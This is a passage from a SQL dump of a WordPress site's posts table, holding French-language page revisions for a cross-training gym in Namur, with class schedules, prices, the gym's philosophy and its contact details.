Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 22, 'http://www.crosstrainingcenter.be/?p=283', 0, 'revision', '', 0),
(318, 1, '2013-07-04 19:38:20', '2013-07-04 19:38:20', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Une séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:20', '2013-07-04 19:38:20', '', 11, 'http://www.crosstrainingcenter.be/11-revision-105/', 0, 'revision', '', 0),
(286, 1, '2013-07-03 20:45:05', '2013-07-03 20:45:05', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:45:05', '2013-07-03 20:45:05', '', 9, 'http://www.crosstrainingcenter.be/9-revision-16/', 0, 'revision', '', 0),
(287, 1, '2013-07-04 18:19:03', '2013-07-04 18:19:03', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:03', '2013-07-04 18:19:03', '', 9, 'http://www.crosstrainingcenter.be/9-revision-17/', 0, 'revision', '', 0),
(288, 1, '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 'illu1', '', 'inherit', 'open', 'open', '', 'illu1', '', '', '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png', 0, 'attachment', 'image/png', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(289, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 5, 'http://www.crosstrainingcenter.be/5-revision-35/', 0, 'revision', '', 0),
(290, 1, '2013-07-04 18:51:42', '2013-07-04 18:51:42', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot;&gt;&lt;img class=\&quot;size-full wp-image-288 alignleft\&quot; alt=\&quot;illu1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot; width=\&quot;271\&quot; height=\&quot;197\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:51:42', '2013-07-04 18:51:42', '', 5, 'http://www.crosstrainingcenter.be/5-revision-36/', 0, 'revision', '', 0),
(292, 1, '2013-07-04 18:52:28', '2013-07-04 18:52:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:28', '2013-07-04 18:52:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-38/', 0, 'revision', '', 0),
(294, 1, '2013-07-04 19:00:43', '2013-07-04 19:00:43', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:00:43', '2013-07-04 19:00:43', '', 5, 'http://www.crosstrainingcenter.be/5-revision-40/', 0, 'revision', '', 0),
